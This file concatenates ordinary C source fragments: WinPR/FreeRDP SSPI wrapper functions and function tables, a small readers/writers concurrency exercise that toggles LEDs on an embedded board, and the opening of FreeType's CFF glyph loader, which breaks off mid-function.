SECURITY_STATUS SEC_ENTRY winpr_ExportSecurityContext(PCtxtHandle phContext, ULONG fFlags, PSecBuffer pPackedContext, HANDLE* pToken) { SEC_CHAR* Name; SECURITY_STATUS status; SecurityFunctionTableW* table; Name = (SEC_CHAR*)sspi_SecureHandleGetUpperPointer(phContext); if (!Name) return SEC_E_SECPKG_NOT_FOUND; table = sspi_GetSecurityFunctionTableWByNameA(Name); if (!table) return SEC_E_SECPKG_NOT_FOUND; if (!table->ExportSecurityContext) return SEC_E_UNSUPPORTED_FUNCTION; status = table->ExportSecurityContext(phContext, fFlags, pPackedContext, pToken); if (IsSecurityStatusError(status)) { WLog_WARN(TAG, "ExportSecurityContext status %s [0x%08" PRIX32 "]", GetSecurityStatusString(status), status); } return status; } static SECURITY_STATUS SEC_ENTRY winpr_FreeCredentialsHandle(PCredHandle phCredential) { char* Name; SECURITY_STATUS status; SecurityFunctionTableA* table; Name = (char*)sspi_SecureHandleGetUpperPointer(phCredential); if (!Name) return SEC_E_SECPKG_NOT_FOUND; table = sspi_GetSecurityFunctionTableAByNameA(Name); if (!table) return SEC_E_SECPKG_NOT_FOUND; if (!table->FreeCredentialsHandle) return SEC_E_UNSUPPORTED_FUNCTION; status = table->FreeCredentialsHandle(phCredential); if (IsSecurityStatusError(status)) { WLog_WARN(TAG, "FreeCredentialsHandle status %s [0x%08" PRIX32 "]", GetSecurityStatusString(status), status); } return status; } static SECURITY_STATUS SEC_ENTRY winpr_ImportSecurityContextW(SEC_WCHAR* pszPackage, PSecBuffer pPackedContext, HANDLE pToken, PCtxtHandle phContext) { SEC_CHAR* Name; SECURITY_STATUS status; SecurityFunctionTableW* table; Name = (SEC_CHAR*)sspi_SecureHandleGetUpperPointer(phContext); if (!Name) return SEC_E_SECPKG_NOT_FOUND; table = sspi_GetSecurityFunctionTableWByNameA(Name); if (!table) return SEC_E_SECPKG_NOT_FOUND; if (!table->ImportSecurityContextW) return SEC_E_UNSUPPORTED_FUNCTION; status = table->ImportSecurityContextW(pszPackage, pPackedContext, pToken, phContext); if (IsSecurityStatusError(status)) { WLog_WARN(TAG, "ImportSecurityContextW status %s [0x%08" PRIX32 "]", GetSecurityStatusString(status), status); } return status; } static SECURITY_STATUS SEC_ENTRY winpr_ImportSecurityContextA(SEC_CHAR* pszPackage, PSecBuffer pPackedContext, HANDLE pToken, PCtxtHandle phContext) { char* Name = NULL; SECURITY_STATUS status; SecurityFunctionTableA* table; Name = (char*)sspi_SecureHandleGetUpperPointer(phContext); if (!Name) return SEC_E_SECPKG_NOT_FOUND; table = sspi_GetSecurityFunctionTableAByNameA(Name); if (!table) return SEC_E_SECPKG_NOT_FOUND; if (!table->ImportSecurityContextA) return SEC_E_UNSUPPORTED_FUNCTION; status = table->ImportSecurityContextA(pszPackage, pPackedContext, pToken, phContext); if (IsSecurityStatusError(status)) { WLog_WARN(TAG, "ImportSecurityContextA status %s [0x%08" PRIX32 "]", GetSecurityStatusString(status), status); } return status; } static SECURITY_STATUS SEC_ENTRY winpr_QueryCredentialsAttributesW(PCredHandle phCredential, ULONG ulAttribute, void* pBuffer) { SEC_WCHAR* Name; SECURITY_STATUS status; SecurityFunctionTableW* table; Name = (SEC_WCHAR*)sspi_SecureHandleGetUpperPointer(phCredential); if (!Name) return SEC_E_SECPKG_NOT_FOUND; table = sspi_GetSecurityFunctionTableWByNameW(Name); if (!table) return SEC_E_SECPKG_NOT_FOUND; if (!table->QueryCredentialsAttributesW) return SEC_E_UNSUPPORTED_FUNCTION; status = table->QueryCredentialsAttributesW(phCredential, ulAttribute, pBuffer); if (IsSecurityStatusError(status)) { WLog_WARN(TAG, "QueryCredentialsAttributesW status %s [0x%08" PRIX32 "]", GetSecurityStatusString(status), status); } return status; } static SECURITY_STATUS SEC_ENTRY winpr_QueryCredentialsAttributesA(PCredHandle phCredential, ULONG ulAttribute, void* pBuffer) { char* Name; SECURITY_STATUS status; SecurityFunctionTableA* table; Name = (char*)sspi_SecureHandleGetUpperPointer(phCredential); if (!Name) return SEC_E_SECPKG_NOT_FOUND; table = sspi_GetSecurityFunctionTableAByNameA(Name); if (!table) return SEC_E_SECPKG_NOT_FOUND; if (!table->QueryCredentialsAttributesA) return SEC_E_UNSUPPORTED_FUNCTION; status = table->QueryCredentialsAttributesA(phCredential, ulAttribute, pBuffer); if (IsSecurityStatusError(status)) { WLog_WARN(TAG, "QueryCredentialsAttributesA status %s [0x%08" PRIX32 "]", GetSecurityStatusString(status), status); } return status; } /* Context Management */ static SECURITY_STATUS SEC_ENTRY winpr_AcceptSecurityContext(PCredHandle phCredential, PCtxtHandle phContext, PSecBufferDesc pInput, ULONG fContextReq, ULONG TargetDataRep, PCtxtHandle phNewContext, PSecBufferDesc pOutput, PULONG pfContextAttr, PTimeStamp ptsTimeStamp) { char* Name; SECURITY_STATUS status; SecurityFunctionTableA* table; Name = (char*)sspi_SecureHandleGetUpperPointer(phCredential); if (!Name) return SEC_E_SECPKG_NOT_FOUND; table = sspi_GetSecurityFunctionTableAByNameA(Name); if (!table) return SEC_E_SECPKG_NOT_FOUND; if (!table->AcceptSecurityContext) return SEC_E_UNSUPPORTED_FUNCTION; status = table->AcceptSecurityContext(phCredential, phContext, pInput, fContextReq, TargetDataRep, phNewContext, pOutput, pfContextAttr, ptsTimeStamp); if (IsSecurityStatusError(status)) { WLog_WARN(TAG, "AcceptSecurityContext status %s [0x%08" PRIX32 "]", GetSecurityStatusString(status), status); } return status; } static SECURITY_STATUS SEC_ENTRY winpr_ApplyControlToken(PCtxtHandle phContext, PSecBufferDesc pInput) { char* Name = NULL; SECURITY_STATUS status; SecurityFunctionTableA* table; Name = (char*)sspi_SecureHandleGetUpperPointer(phContext); if (!Name) return SEC_E_SECPKG_NOT_FOUND; table = sspi_GetSecurityFunctionTableAByNameA(Name); if (!table) return SEC_E_SECPKG_NOT_FOUND; if (!table->ApplyControlToken) return SEC_E_UNSUPPORTED_FUNCTION; status = table->ApplyControlToken(phContext, pInput); if (IsSecurityStatusError(status)) { WLog_WARN(TAG, "ApplyControlToken status %s [0x%08" PRIX32 "]", GetSecurityStatusString(status), status); } return status; } static SECURITY_STATUS SEC_ENTRY winpr_CompleteAuthToken(PCtxtHandle phContext, PSecBufferDesc pToken) { char* Name = NULL; SECURITY_STATUS status; SecurityFunctionTableA* table; Name = (char*)sspi_SecureHandleGetUpperPointer(phContext); if (!Name) return SEC_E_SECPKG_NOT_FOUND; table = sspi_GetSecurityFunctionTableAByNameA(Name); if (!table) return SEC_E_SECPKG_NOT_FOUND; if (!table->CompleteAuthToken) return SEC_E_UNSUPPORTED_FUNCTION; status = table->CompleteAuthToken(phContext, pToken); if (IsSecurityStatusError(status)) { WLog_WARN(TAG, "CompleteAuthToken status %s [0x%08" PRIX32 "]", GetSecurityStatusString(status), status); } return status; } static SECURITY_STATUS SEC_ENTRY winpr_DeleteSecurityContext(PCtxtHandle phContext) { char* Name = NULL; SECURITY_STATUS status; SecurityFunctionTableA* table; Name = (char*)sspi_SecureHandleGetUpperPointer(phContext); if (!Name) return SEC_E_SECPKG_NOT_FOUND; table = sspi_GetSecurityFunctionTableAByNameA(Name); if (!table) return SEC_E_SECPKG_NOT_FOUND; if (!table->DeleteSecurityContext) return SEC_E_UNSUPPORTED_FUNCTION; status = table->DeleteSecurityContext(phContext); if (IsSecurityStatusError(status)) { WLog_WARN(TAG, "DeleteSecurityContext status %s [0x%08" PRIX32 "]", GetSecurityStatusString(status), status); } return status; } static SECURITY_STATUS SEC_ENTRY winpr_FreeContextBuffer(void* pvContextBuffer) { if (!pvContextBuffer) return SEC_E_INVALID_HANDLE; sspi_ContextBufferFree(pvContextBuffer); return SEC_E_OK; } static SECURITY_STATUS SEC_ENTRY winpr_ImpersonateSecurityContext(PCtxtHandle phContext) { SEC_CHAR* Name; SECURITY_STATUS status; SecurityFunctionTableW* table; Name = (SEC_CHAR*)sspi_SecureHandleGetUpperPointer(phContext); if (!Name) return SEC_E_SECPKG_NOT_FOUND; table = sspi_GetSecurityFunctionTableWByNameA(Name); if (!table) return SEC_E_SECPKG_NOT_FOUND; if (!table->ImpersonateSecurityContext) return SEC_E_UNSUPPORTED_FUNCTION; status = table->ImpersonateSecurityContext(phContext); if (IsSecurityStatusError(status)) { WLog_WARN(TAG, "ImpersonateSecurityContext status %s [0x%08" PRIX32 "]", GetSecurityStatusString(status), status); } return status; } static SECURITY_STATUS SEC_ENTRY winpr_InitializeSecurityContextW( PCredHandle phCredential, PCtxtHandle phContext, SEC_WCHAR* pszTargetName, ULONG fContextReq, ULONG Reserved1, ULONG TargetDataRep, PSecBufferDesc pInput, ULONG Reserved2, PCtxtHandle phNewContext, PSecBufferDesc pOutput, PULONG pfContextAttr, PTimeStamp ptsExpiry) { SEC_CHAR* Name; SECURITY_STATUS status; SecurityFunctionTableW* table; Name = (SEC_CHAR*)sspi_SecureHandleGetUpperPointer(phCredential); if (!Name) return SEC_E_SECPKG_NOT_FOUND; table = sspi_GetSecurityFunctionTableWByNameA(Name); if (!table) return SEC_E_SECPKG_NOT_FOUND; if (!table->InitializeSecurityContextW) return SEC_E_UNSUPPORTED_FUNCTION; status = table->InitializeSecurityContextW(phCredential, phContext, pszTargetName, fContextReq, Reserved1, TargetDataRep, pInput, Reserved2, phNewContext, pOutput, pfContextAttr, ptsExpiry); if (IsSecurityStatusError(status)) { WLog_WARN(TAG, "InitializeSecurityContextW status %s [0x%08" PRIX32 "]", GetSecurityStatusString(status), status); } return status; } static SECURITY_STATUS SEC_ENTRY winpr_InitializeSecurityContextA( PCredHandle phCredential, PCtxtHandle phContext, SEC_CHAR* pszTargetName, ULONG fContextReq, ULONG Reserved1, ULONG TargetDataRep, PSecBufferDesc pInput, ULONG Reserved2, PCtxtHandle phNewContext, PSecBufferDesc pOutput, PULONG pfContextAttr, PTimeStamp ptsExpiry) { SEC_CHAR* Name; SECURITY_STATUS status; SecurityFunctionTableA* table; Name = (SEC_CHAR*)sspi_SecureHandleGetUpperPointer(phCredential); if (!Name) return SEC_E_SECPKG_NOT_FOUND; table = sspi_GetSecurityFunctionTableAByNameA(Name); if (!table) return SEC_E_SECPKG_NOT_FOUND; if (!table->InitializeSecurityContextA) return SEC_E_UNSUPPORTED_FUNCTION; status = table->InitializeSecurityContextA(phCredential, phContext, pszTargetName, fContextReq, Reserved1, TargetDataRep, pInput, Reserved2, phNewContext, pOutput, pfContextAttr, ptsExpiry); if (IsSecurityStatusError(status)) { WLog_WARN(TAG, "InitializeSecurityContextA status %s [0x%08" PRIX32 "]", GetSecurityStatusString(status), status); } return status; } static SECURITY_STATUS SEC_ENTRY winpr_QueryContextAttributesW(PCtxtHandle phContext, ULONG ulAttribute, void* pBuffer) { SEC_CHAR* Name; SECURITY_STATUS status; SecurityFunctionTableW* table; Name = (SEC_CHAR*)sspi_SecureHandleGetUpperPointer(phContext); if (!Name) return SEC_E_SECPKG_NOT_FOUND; table = sspi_GetSecurityFunctionTableWByNameA(Name); if (!table) return SEC_E_SECPKG_NOT_FOUND; if (!table->QueryContextAttributesW) return SEC_E_UNSUPPORTED_FUNCTION; status = table->QueryContextAttributesW(phContext, ulAttribute, pBuffer); if (IsSecurityStatusError(status)) { WLog_WARN(TAG, "QueryContextAttributesW status %s [0x%08" PRIX32 "]", GetSecurityStatusString(status), status); } return status; } static SECURITY_STATUS SEC_ENTRY winpr_QueryContextAttributesA(PCtxtHandle phContext, ULONG ulAttribute, void* pBuffer) { SEC_CHAR* Name; SECURITY_STATUS status; SecurityFunctionTableA* table; Name = (SEC_CHAR*)sspi_SecureHandleGetUpperPointer(phContext); if (!Name) return SEC_E_SECPKG_NOT_FOUND; table = sspi_GetSecurityFunctionTableAByNameA(Name); if (!table) return SEC_E_SECPKG_NOT_FOUND; if (!table->QueryContextAttributesA) return SEC_E_UNSUPPORTED_FUNCTION; status = table->QueryContextAttributesA(phContext, ulAttribute, pBuffer); if (IsSecurityStatusError(status)) { WLog_WARN(TAG, "QueryContextAttributesA status %s [0x%08" PRIX32 "]", GetSecurityStatusString(status), status); } return status; } static SECURITY_STATUS SEC_ENTRY winpr_QuerySecurityContextToken(PCtxtHandle phContext, HANDLE* phToken) { SEC_CHAR* Name; SECURITY_STATUS status; SecurityFunctionTableW* table; Name = (SEC_CHAR*)sspi_SecureHandleGetUpperPointer(phContext); if (!Name) return SEC_E_SECPKG_NOT_FOUND; table = sspi_GetSecurityFunctionTableWByNameA(Name); if (!table) return SEC_E_SECPKG_NOT_FOUND; if (!table->QuerySecurityContextToken) return SEC_E_UNSUPPORTED_FUNCTION; status = table->QuerySecurityContextToken(phContext, phToken); if (IsSecurityStatusError(status)) { WLog_WARN(TAG, "QuerySecurityContextToken status %s [0x%08" PRIX32 "]", GetSecurityStatusString(status), status); } return status; } static SECURITY_STATUS SEC_ENTRY winpr_SetContextAttributesW(PCtxtHandle phContext, ULONG ulAttribute, void* pBuffer, ULONG cbBuffer) { SEC_CHAR* Name; SECURITY_STATUS status; SecurityFunctionTableW* table; Name = (SEC_CHAR*)sspi_SecureHandleGetUpperPointer(phContext); if (!Name) return SEC_E_SECPKG_NOT_FOUND; table = sspi_GetSecurityFunctionTableWByNameA(Name); if (!table) return SEC_E_SECPKG_NOT_FOUND; if (!table->SetContextAttributesW) return SEC_E_UNSUPPORTED_FUNCTION; status = table->SetContextAttributesW(phContext, ulAttribute, pBuffer, cbBuffer); if (IsSecurityStatusError(status)) { WLog_WARN(TAG, "SetContextAttributesW status %s [0x%08" PRIX32 "]", GetSecurityStatusString(status), status); } return status; } static SECURITY_STATUS SEC_ENTRY winpr_SetContextAttributesA(PCtxtHandle phContext, ULONG ulAttribute, void* pBuffer, ULONG cbBuffer) { char* Name; SECURITY_STATUS status; SecurityFunctionTableA* table; Name = (char*)sspi_SecureHandleGetUpperPointer(phContext); if (!Name) return SEC_E_SECPKG_NOT_FOUND; table = sspi_GetSecurityFunctionTableAByNameA(Name); if (!table) return SEC_E_SECPKG_NOT_FOUND; if (!table->SetContextAttributesA) return SEC_E_UNSUPPORTED_FUNCTION; status = table->SetContextAttributesA(phContext, ulAttribute, pBuffer, cbBuffer); if (IsSecurityStatusError(status)) { WLog_WARN(TAG, "SetContextAttributesA status %s [0x%08" PRIX32 "]", GetSecurityStatusString(status), status); } return status; } static SECURITY_STATUS SEC_ENTRY winpr_RevertSecurityContext(PCtxtHandle phContext) { SEC_CHAR* Name; SECURITY_STATUS status; SecurityFunctionTableW* table; Name = (SEC_CHAR*)sspi_SecureHandleGetUpperPointer(phContext); if (!Name) return SEC_E_SECPKG_NOT_FOUND; table = sspi_GetSecurityFunctionTableWByNameA(Name); if (!table) return SEC_E_SECPKG_NOT_FOUND; if (!table->RevertSecurityContext) return SEC_E_UNSUPPORTED_FUNCTION; status = table->RevertSecurityContext(phContext); if (IsSecurityStatusError(status)) { WLog_WARN(TAG, "RevertSecurityContext status %s [0x%08" PRIX32 "]", GetSecurityStatusString(status), status); } return status; } /* Message Support */ static SECURITY_STATUS SEC_ENTRY winpr_DecryptMessage(PCtxtHandle phContext, PSecBufferDesc pMessage, ULONG MessageSeqNo, PULONG pfQOP) { char* Name; SECURITY_STATUS status; SecurityFunctionTableA* table; Name = (char*)sspi_SecureHandleGetUpperPointer(phContext); if (!Name) return SEC_E_SECPKG_NOT_FOUND; table = sspi_GetSecurityFunctionTableAByNameA(Name); if (!table) return SEC_E_SECPKG_NOT_FOUND; if (!table->DecryptMessage) return SEC_E_UNSUPPORTED_FUNCTION; status = table->DecryptMessage(phContext, pMessage, MessageSeqNo, pfQOP); if (IsSecurityStatusError(status)) { WLog_WARN(TAG, "DecryptMessage status %s [0x%08" PRIX32 "]", GetSecurityStatusString(status), status); } return status; } static SECURITY_STATUS SEC_ENTRY winpr_EncryptMessage(PCtxtHandle phContext, ULONG fQOP, PSecBufferDesc pMessage, ULONG MessageSeqNo) { char* Name; SECURITY_STATUS status; SecurityFunctionTableA* table; Name = (char*)sspi_SecureHandleGetUpperPointer(phContext); if (!Name) return SEC_E_SECPKG_NOT_FOUND; table = sspi_GetSecurityFunctionTableAByNameA(Name); if (!table) return SEC_E_SECPKG_NOT_FOUND; if (!table->EncryptMessage) return SEC_E_UNSUPPORTED_FUNCTION; status = table->EncryptMessage(phContext, fQOP, pMessage, MessageSeqNo); if (status != SEC_E_OK) { WLog_ERR(TAG, "EncryptMessage status %s [0x%08" PRIX32 "]", GetSecurityStatusString(status), status); } return status; } static SECURITY_STATUS SEC_ENTRY winpr_MakeSignature(PCtxtHandle phContext, ULONG fQOP, PSecBufferDesc pMessage, ULONG MessageSeqNo) { char* Name; SECURITY_STATUS status; SecurityFunctionTableA* table; Name = (char*)sspi_SecureHandleGetUpperPointer(phContext); if (!Name) return SEC_E_SECPKG_NOT_FOUND; table = sspi_GetSecurityFunctionTableAByNameA(Name); if (!table) return SEC_E_SECPKG_NOT_FOUND; if (!table->MakeSignature) return SEC_E_UNSUPPORTED_FUNCTION; status = table->MakeSignature(phContext, fQOP, pMessage, MessageSeqNo); if (IsSecurityStatusError(status)) { WLog_WARN(TAG, "MakeSignature status %s [0x%08" PRIX32 "]", GetSecurityStatusString(status), status); } return status; } static SECURITY_STATUS SEC_ENTRY winpr_VerifySignature(PCtxtHandle phContext, PSecBufferDesc pMessage, ULONG MessageSeqNo, PULONG pfQOP) { char* Name; SECURITY_STATUS status; SecurityFunctionTableA* table; Name = (char*)sspi_SecureHandleGetUpperPointer(phContext); if (!Name) return SEC_E_SECPKG_NOT_FOUND; table = sspi_GetSecurityFunctionTableAByNameA(Name); if (!table) return SEC_E_SECPKG_NOT_FOUND; if (!table->VerifySignature) return SEC_E_UNSUPPORTED_FUNCTION; status = table->VerifySignature(phContext, pMessage, MessageSeqNo, pfQOP); if (IsSecurityStatusError(status)) { WLog_WARN(TAG, "VerifySignature status %s [0x%08" PRIX32 "]", GetSecurityStatusString(status), status); } return status; } static SecurityFunctionTableA winpr_SecurityFunctionTableA = { 1, /* dwVersion */ winpr_EnumerateSecurityPackagesA, /* EnumerateSecurityPackages */ winpr_QueryCredentialsAttributesA, /* QueryCredentialsAttributes */ winpr_AcquireCredentialsHandleA, /* AcquireCredentialsHandle */ winpr_FreeCredentialsHandle, /* FreeCredentialsHandle */ NULL, /* Reserved2 */ winpr_InitializeSecurityContextA, /* InitializeSecurityContext */ winpr_AcceptSecurityContext, /* AcceptSecurityContext */ winpr_CompleteAuthToken, /* CompleteAuthToken */ winpr_DeleteSecurityContext, /* DeleteSecurityContext */ winpr_ApplyControlToken, /* ApplyControlToken */ winpr_QueryContextAttributesA, /* QueryContextAttributes */ winpr_ImpersonateSecurityContext, /* ImpersonateSecurityContext */ winpr_RevertSecurityContext, /* RevertSecurityContext */ winpr_MakeSignature, /* MakeSignature */ winpr_VerifySignature, /* VerifySignature */ winpr_FreeContextBuffer, /* FreeContextBuffer */ winpr_QuerySecurityPackageInfoA, /* QuerySecurityPackageInfo */ NULL, /* Reserved3 */ NULL, /* Reserved4 */ winpr_ExportSecurityContext, /* ExportSecurityContext */ winpr_ImportSecurityContextA, /* ImportSecurityContext */ NULL, /* AddCredentials */ NULL, /* Reserved8 */ winpr_QuerySecurityContextToken, /* QuerySecurityContextToken */ winpr_EncryptMessage, /* EncryptMessage */ winpr_DecryptMessage, /* DecryptMessage */ winpr_SetContextAttributesA, /* SetContextAttributes */ }; static SecurityFunctionTableW winpr_SecurityFunctionTableW = { 1, /* dwVersion */ winpr_EnumerateSecurityPackagesW, /* EnumerateSecurityPackages */ winpr_QueryCredentialsAttributesW, /* QueryCredentialsAttributes */ winpr_AcquireCredentialsHandleW, /* AcquireCredentialsHandle */ winpr_FreeCredentialsHandle, /* FreeCredentialsHandle */ NULL, /* Reserved2 */ winpr_InitializeSecurityContextW, /* InitializeSecurityContext */ winpr_AcceptSecurityContext, /* AcceptSecurityContext */ winpr_CompleteAuthToken, /* CompleteAuthToken */ winpr_DeleteSecurityContext, /* DeleteSecurityContext */ winpr_ApplyControlToken, /* ApplyControlToken */ winpr_QueryContextAttributesW, /* QueryContextAttributes */ winpr_ImpersonateSecurityContext, /* ImpersonateSecurityContext */ winpr_RevertSecurityContext, /* RevertSecurityContext */ winpr_MakeSignature, /* MakeSignature */ winpr_VerifySignature, /* VerifySignature */ winpr_FreeContextBuffer, /* FreeContextBuffer */ winpr_QuerySecurityPackageInfoW, /* QuerySecurityPackageInfo */ NULL, /* Reserved3 */ NULL, /* Reserved4 */ winpr_ExportSecurityContext, /* ExportSecurityContext */ winpr_ImportSecurityContextW, /* ImportSecurityContext */ NULL, /* AddCredentials */ NULL, /* Reserved8 */ winpr_QuerySecurityContextToken, /* QuerySecurityContextToken */ winpr_EncryptMessage, /* EncryptMessage */ winpr_DecryptMessage, /* DecryptMessage */ winpr_SetContextAttributesW, /* SetContextAttributes */ };
432749.c
#include "3140_concur.h" #include "utils.h" #include "lock.h" #include "cond.h" lock_t l; lock_t m; cond_t cr; cond_t cw; unsigned int nr= 0; unsigned int nw= 0; void p1 (){ l_lock(&m); LEDBlue_Toggle(); delay (); LEDBlue_Toggle(); delay (); l_unlock(&m); delay(); delay(); delay(); l_lock(&m); LEDBlue_Toggle(); delay (); LEDBlue_Toggle(); delay (); LEDBlue_Toggle(); delay (); LEDBlue_Toggle(); delay (); l_unlock(&m); } void reader (void) { l_lock(&l); if(nw!=0){ c_wait(&l,&cr); } nr++; if(c_waiting(&l,&cr)){ c_signal(&l,&cr); } else{ l_unlock(&l); } /*start reading*/ p1(); /*end reading*/ l_lock(&l); nr--; if(c_waiting(&l,&cw) && nr == 0){ c_signal(&l,&cw); } else if(c_waiting(&l,&cr)){ c_signal(&l,&cr); } else{ l_unlock(&l); } } void writer (void) { l_lock(&l); if(nw!=0 || nr!=0){ c_wait(&l,&cw); } nw++; l_unlock(&l); /*start writing*/ LEDRed_Toggle(); delay(); LEDRed_Toggle(); delay(); /*end writing*/ l_lock(&l); nw--; if(c_waiting(&l,&cw) && nr == 0){ c_signal(&l,&cw); } else if(c_waiting(&l,&cr)){ c_signal(&l,&cr); } else{ l_unlock(&l); } } int main (void){ LED_Initialize(); l_init (&l); l_init (&m); c_init (&l,&cr); c_init (&l,&cw); if (process_create (writer,20) < 0) { return -1; } if (process_create (reader,20) < 0) { return -1; } if (process_create (reader,20) < 0) { return -1; } if (process_create (reader,20) < 0) { return -1; } if (process_create (writer,20) < 0) { return -1; } process_start(); LEDGreen_On(); while (1) ; }
392800.c
/***************************************************************************/ /* */ /* cffgload.c */ /* */ /* OpenType Glyph Loader (body). */ /* */ /* Copyright 1996-2013 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ #include "../../include/ft2build.h" #include "../../include/freetype/internal/ftdebug.h" #include "../../include/freetype/internal/ftstream.h" #include "../../include/freetype/internal/sfnt.h" #include "../../include/freetype/ftoutln.h" #include "../../include/freetype/ftcffdrv.h" #include "cffobjs.h" #include "cffload.h" #include "cffgload.h" #include "cf2ft.h" /* for cf2_decoder_parse_charstrings */ #include "cfferrs.h" /*************************************************************************/ /* */ /* The macro FT_COMPONENT is used in trace mode. It is an implicit */ /* parameter of the FT_TRACE() and FT_ERROR() macros, used to print/log */ /* messages during execution. */ /* */ #undef FT_COMPONENT #define FT_COMPONENT trace_cffgload #ifdef CFF_CONFIG_OPTION_OLD_ENGINE typedef enum CFF_Operator_ { cff_op_unknown = 0, cff_op_rmoveto, cff_op_hmoveto, cff_op_vmoveto, cff_op_rlineto, cff_op_hlineto, cff_op_vlineto, cff_op_rrcurveto, cff_op_hhcurveto, cff_op_hvcurveto, cff_op_rcurveline, cff_op_rlinecurve, cff_op_vhcurveto, cff_op_vvcurveto, cff_op_flex, cff_op_hflex, cff_op_hflex1, cff_op_flex1, cff_op_endchar, cff_op_hstem, cff_op_vstem, cff_op_hstemhm, cff_op_vstemhm, cff_op_hintmask, cff_op_cntrmask, cff_op_dotsection, /* deprecated, acts as no-op */ cff_op_abs, cff_op_add, cff_op_sub, cff_op_div, cff_op_neg, cff_op_random, cff_op_mul, cff_op_sqrt, cff_op_blend, cff_op_drop, cff_op_exch, cff_op_index, cff_op_roll, cff_op_dup, cff_op_put, cff_op_get, cff_op_store, cff_op_load, cff_op_and, cff_op_or, cff_op_not, cff_op_eq, cff_op_ifelse, cff_op_callsubr, cff_op_callgsubr, cff_op_return, /* Type 1 opcodes: invalid but seen in real life */ cff_op_hsbw, cff_op_closepath, cff_op_callothersubr, cff_op_pop, cff_op_seac, cff_op_sbw, cff_op_setcurrentpoint, /* do not remove */ cff_op_max } CFF_Operator; #define CFF_COUNT_CHECK_WIDTH 0x80 #define CFF_COUNT_EXACT 0x40 #define CFF_COUNT_CLEAR_STACK 0x20 /* count values which have the `CFF_COUNT_CHECK_WIDTH' flag set are */ /* used for checking the width and requested numbers of arguments */ /* only; they are set to zero afterwards */ /* the other two flags are informative only and unused currently */ static const FT_Byte cff_argument_counts[] = { 0, /* unknown */ 2 | CFF_COUNT_CHECK_WIDTH | CFF_COUNT_EXACT, /* rmoveto */ 1 | CFF_COUNT_CHECK_WIDTH | CFF_COUNT_EXACT, 1 | CFF_COUNT_CHECK_WIDTH | CFF_COUNT_EXACT, 0 | CFF_COUNT_CLEAR_STACK, /* rlineto */ 0 | CFF_COUNT_CLEAR_STACK, 0 | CFF_COUNT_CLEAR_STACK, 0 | CFF_COUNT_CLEAR_STACK, /* rrcurveto */ 0 | CFF_COUNT_CLEAR_STACK, 0 | CFF_COUNT_CLEAR_STACK, 0 | CFF_COUNT_CLEAR_STACK, 0 | CFF_COUNT_CLEAR_STACK, 0 | CFF_COUNT_CLEAR_STACK, 0 | CFF_COUNT_CLEAR_STACK, 13, /* flex */ 7, 9, 11, 0 | CFF_COUNT_CHECK_WIDTH, /* endchar */ 2 | CFF_COUNT_CHECK_WIDTH, /* hstem */ 2 | CFF_COUNT_CHECK_WIDTH, 2 | CFF_COUNT_CHECK_WIDTH, 2 | CFF_COUNT_CHECK_WIDTH, 0 | CFF_COUNT_CHECK_WIDTH, /* hintmask */ 0 | CFF_COUNT_CHECK_WIDTH, /* cntrmask */ 0, /* dotsection */ 1, /* abs */ 2, 2, 2, 1, 0, 2, 1, 1, /* blend */ 1, /* drop */ 2, 1, 2, 1, 2, /* put */ 1, 4, 3, 2, /* and */ 2, 1, 2, 4, 1, /* callsubr */ 1, 0, 2, /* hsbw */ 0, 0, 0, 5, /* seac */ 4, /* sbw */ 2 /* setcurrentpoint */ }; #endif /* CFF_CONFIG_OPTION_OLD_ENGINE */ /*************************************************************************/ /*************************************************************************/ /*************************************************************************/ /********** *********/ /********** *********/ /********** GENERIC CHARSTRING PARSING *********/ /********** *********/ /********** *********/ /*************************************************************************/ /*************************************************************************/ /*************************************************************************/ /*************************************************************************/ /* */ /* <Function> */ /* cff_builder_init */ /* */ /* <Description> */ /* Initializes a given glyph builder. */ /* */ /* <InOut> */ /* builder :: A pointer to the glyph builder to initialize. */ /* */ /* <Input> */ /* face :: The current face object. */ /* */ /* size :: The current size object. */ /* */ /* glyph :: The current glyph object. */ /* */ /* hinting :: Whether hinting is active. */ /* */ static void cff_builder_init( CFF_Builder* builder, TT_Face face, CFF_Size size, CFF_GlyphSlot glyph, FT_Bool hinting ) { builder->path_begun = 0; builder->load_points = 1; builder->face = face; builder->glyph = glyph; builder->memory = face->root.memory; if ( glyph ) { FT_GlyphLoader loader = glyph->root.internal->loader; builder->loader = loader; builder->base = &loader->base.outline; builder->current = &loader->current.outline; FT_GlyphLoader_Rewind( loader ); builder->hints_globals = 0; builder->hints_funcs = 0; if ( hinting && size ) { CFF_Internal internal = (CFF_Internal)size->root.internal; builder->hints_globals = (void *)internal->topfont; builder->hints_funcs = glyph->root.internal->glyph_hints; } } builder->pos_x = 0; builder->pos_y = 0; builder->left_bearing.x = 0; builder->left_bearing.y = 0; builder->advance.x = 0; builder->advance.y = 0; } /*************************************************************************/ /* */ /* <Function> */ /* cff_builder_done */ /* */ /* <Description> */ /* Finalizes a given glyph builder. Its contents can still be used */ /* after the call, but the function saves important information */ /* within the corresponding glyph slot. */ /* */ /* <Input> */ /* builder :: A pointer to the glyph builder to finalize. */ /* */ static void cff_builder_done( CFF_Builder* builder ) { CFF_GlyphSlot glyph = builder->glyph; if ( glyph ) glyph->root.outline = *builder->base; } /*************************************************************************/ /* */ /* <Function> */ /* cff_compute_bias */ /* */ /* <Description> */ /* Computes the bias value in dependence of the number of glyph */ /* subroutines. */ /* */ /* <Input> */ /* in_charstring_type :: The `CharstringType' value of the top DICT */ /* dictionary. */ /* */ /* num_subrs :: The number of glyph subroutines. */ /* */ /* <Return> */ /* The bias value. */ static FT_Int cff_compute_bias( FT_Int in_charstring_type, FT_UInt num_subrs ) { FT_Int result; if ( in_charstring_type == 1 ) result = 0; else if ( num_subrs < 1240 ) result = 107; else if ( num_subrs < 33900U ) result = 1131; else result = 32768U; return result; } /*************************************************************************/ /* */ /* <Function> */ /* cff_decoder_init */ /* */ /* <Description> */ /* Initializes a given glyph decoder. */ /* */ /* <InOut> */ /* decoder :: A pointer to the glyph builder to initialize. */ /* */ /* <Input> */ /* face :: The current face object. */ /* */ /* size :: The current size object. */ /* */ /* slot :: The current glyph object. */ /* */ /* hinting :: Whether hinting is active. */ /* */ /* hint_mode :: The hinting mode. */ /* */ FT_LOCAL_DEF( void ) cff_decoder_init( CFF_Decoder* decoder, TT_Face face, CFF_Size size, CFF_GlyphSlot slot, FT_Bool hinting, FT_Render_Mode hint_mode ) { 